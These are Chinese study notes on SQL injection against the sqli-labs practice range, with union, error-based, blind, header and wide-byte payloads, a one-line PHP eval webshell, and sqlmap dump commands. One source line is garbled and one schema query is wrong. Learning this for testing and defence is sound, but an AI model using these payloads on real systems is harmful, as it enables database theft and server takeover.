文章目录
SQL注入
注入就是通过把SQL命令插入到WEB表单提交或输入域名或页面请求的查询字符串,最终到达欺骗服务器执行恶意的SQL命令,从而进一步得到相应的数据信息。
注入分类
按照注入点类型分类:
(1)字符型注入:输入的参数为字符型,通常使用单引号闭合,如http://www.testweb.com/test.php?user=admin’
(2)数字型注入:输入的参数为整数,如http://www.testweb.com/user.php?id=8
(3)搜索型注入:也称文本框注入,主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”
按照注入技术分类:
(1)基于布尔的盲注
(2)基于时间的盲注
(3)报错注入
(4)联合查询注入
(5)堆查询注入
注入点就是可以实行注入的地方,通常是一个访问数据库的连接,比如登录界面等
闭合方式:
' " ') ") 其他
闭合的作用:
手工提交闭合符号,结束前一段查询语句,后面可加入其他语句,比如需要查询的参数,不需要的语句可以使用注释符’–+‘,’#‘,’%23’注释掉
union联合注入:
union内部的select语句必须和前面的语句拥有相同数量的列,比如
select first_name,last_name from users where user_id = '1' union select database()
即前面的select first_name,last_name from users where user_id = '1’包含两列,union后的select语句也应该包含两列
通常使用group by / order by 来查询列数
SQL注入的流程
(1)判断是否存在注入点;
(2)判断字段长度(字段数);
(3)判断字段回显位置;
(4)判断数据库信息;
(5)查找数据库名;
(6)查找数据库表;
(7)查找数据库表中所有字段以及字段值;
(8)猜解账号密码;
(9)登录管理员后台。
注入中用到的关键数据库、数据表、字段以及group_concat的作用
#查询当前使用的数据库
select database()
#查询当前库下所有的表名
select table_name from information_schema.tables where table_schema = database()
#查询users表下所有的字段
select column_name from information_schema.columns where table_schema = database() and table_schema = 'users'
当查询结果为多行时,使用group_concat函数,将多个行的值连接在一起,生成一个字符串
报错注入
报错注入:通过构造特定的SQL语句,让攻击者想要查询的信息通过页面的错误提示回显出来
extractvalue()
作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。
语法:extractvalue( XML_document, XPath_string )
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
报错原理:xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果写入其他格式就会报错,
id=-1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
updatexml()
-
作用:改变文档中符合条件的节点的值。
-
语法:updatexml( XML_document, XPath_string, new_value )
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string (Xpath格式的字符串),注入时可操作的地方
参数3:new_value,String格式,替换查找到的符合条件的数据
-
报错原理:同extractvalue()
-
实例
mysql> select updatexml(1,concat(‘~’,user()),1);
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost’
id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users') ),3) --+
floor报错
设计的函数:
rand():随即返回0~1之间的小数
floor():小数向下取整;向上取整ceiling()
concat_ws():将括号内数据用第一个字段连接起来
count():汇总统计数量
#根据users的行数随机显示一个0~1之间的浮点数
select rand() from users;
#把第二个和第三个参数用第一个符号拼接起来
select concat_ws('-',2,3);
布尔盲注
页面既没有报错也没有回显,可以查看是否存在真假值,如果存在则可以使用布尔盲注
ascii():把字符转换为对应的数字
如图可知,取查询到的列名的第一条数据的第一个字母,根据它的ascii值来判断它具体的值,根据网页显示为真的情况的值,这个字母的ascii值是大于100的。再根据二分法即可获得想要的信息
时间盲注
sleep():参数为休眠时长,以秒为单位
if(condition,true,false):判断第一个参数的真假,如果为真执行true,为假执行false
eg:select if(1=1,sleep(0),sleep(3));很明显1=1为真,即执行sleep(0);如果条件为1=2时,则执行sleep(3)
如图可以得知数据库名第一个字母的ascii值是小于等于115,再使用二分法即可得到完整库名
文件上传
#查看mysql是否有读写文件权限:如果不支持读写,则需要在my.ini中修改
show variables like '%secure%';
文件上传指令:
<?php @eval($_POST['password']); ?>一句话木马
发现存储的位置存在test.php文件,可以用蚁剑等工具连接测试
POST提交注入
GET和POST提交的区别:
(1)get提交可以被缓存,post不会被缓存
(2)get只支持URL编码,post支持多种编码格式
(3)get只支持ASCII格式的参数,post没有限制
(4)get提交数据的长度有限制,post没有限制
查看sqllab靶场第11关的源代码
@ s q l = " S E L E C T u s e r n a m e , p a s s w o r d F R O M u s e r s W H E R E u s e r n a m e = ′ sql="SELECT username, password FROM users WHERE username=' sql="SELECTusername,passwordFROMusersWHEREusername=′uname’ and password=‘$passwd’ LIMIT 0,1";
可得知在输入用户名时可以使用单引号注入
即
得到回显位即可查询库名,表名等信息
POST报错注入
观察Less-13源代码得知闭合方式为’),并且页面没有任何回显信息,尝试使用报错注入
uname=1') or extractvalue(1,concat(0x7e,database(),0x7e)) #&passwd=&Submit=Submit
即可得到库名
HTTP header注入
user-agent
Less-18中:
//对输入的用户名和密码进行检测,以字符的形式,而不是以命令的形式查询,导致无法注入
$uname = check_input($con1, $_POST['uname']);
$passwd = check_input($con1, $_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
//但是在插入的时候没有进行检测,这里可以注入
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
在burpsuite中修改user-agent,使用报错注入
referer
Less-19中上述代码相同,仅在插入语句上区分
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$referer', '$IP')";
同理修改refere参数即可
宽字节绕过
addslashes()
函数是PHP中的一个内置函数,它用于在指定的字符串中的某些字符(如单引号'
、双引号"
、反斜杠\
以及NULL字符)前添加反斜杠\
,以防止这些特殊字符在SQL查询中被解释为SQL代码的一部分,从而避免SQL注入攻击。然而,在某些情况下,如数据库的编码为GBK时,可以利用宽字节注入技术绕过addslashes()
函数的保护。
如果addslashes()
函数将输入的单引号转义为\'
,攻击者可以在这个单引号前添加一个GBK编码中的特定字节(如%df
),就会使得单引号得以逃逸,从而可以进行注入
id=-1%df' union select 1,database(),user()--+
SQLMAP的使用
SQLMAP可以对url做什么?***
判断可注入的参数
判断可以使用哪一种SQL注入技术进行注入
判断识别数据库的类型
根据用户的选择,从数据库中读取数据
SQLMAP支持的注入技术
基于布尔的盲注:根据返回页面判断条件真假的注入。
基于时间的盲注:不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
基于报错的注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
基于联合查询的注入:可以使用UNION的情况下的注入。
堆查询注入:同时执行多条语句的注入。
SQLMAP支持的数据库类型
主要包括 一些 关系型 数据 库(RMDBS),如MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、Informix、HSQLDB等
简单使用
用法1:-u参数 (直接输入目标url)
sqlmap -u http://127.0.0.1/sqllab/Less-2/?id=1
爆当前库名
sqlmap -u http://127.0.0.1/sqllab/Less-2/?id=1 --current-db
得知当前数据库为security
爆表名
sqlmap -u http://127.0.0.1/sqllab/Less-2/?id=1 -D 数据库名 --tables
爆字段
sqlmap.py -u http://127.0.0.1/sqllab/Less-2/?id=1 -D 数据库名 -T 表名 --columns
显示数据
sqlmap -u http://127.0.0.1/sqllab/Less-2/?id=1 -D 数据库名 -T 表名 -C 字段1,字段2–dump
用法2:-r参数
Less-12:
利用BurpSuiter截取HTTP Requests报文
右键copy to file保存在文本文件中
sqlmap -r 文本文件路径 --current-db 爆库名
sqlmap -r C:/Users/HP/Desktop/b.txt -D 库名 --tables
爆表名
sqlmap -r C:/Users/HP/Desktop/b.txt -D 库名-T 表名 --columns
sqlmap -r C:/Users/HP/Desktop/b.txt -D 库名-T 表名 -C 字段1,字段2,字段3 --dump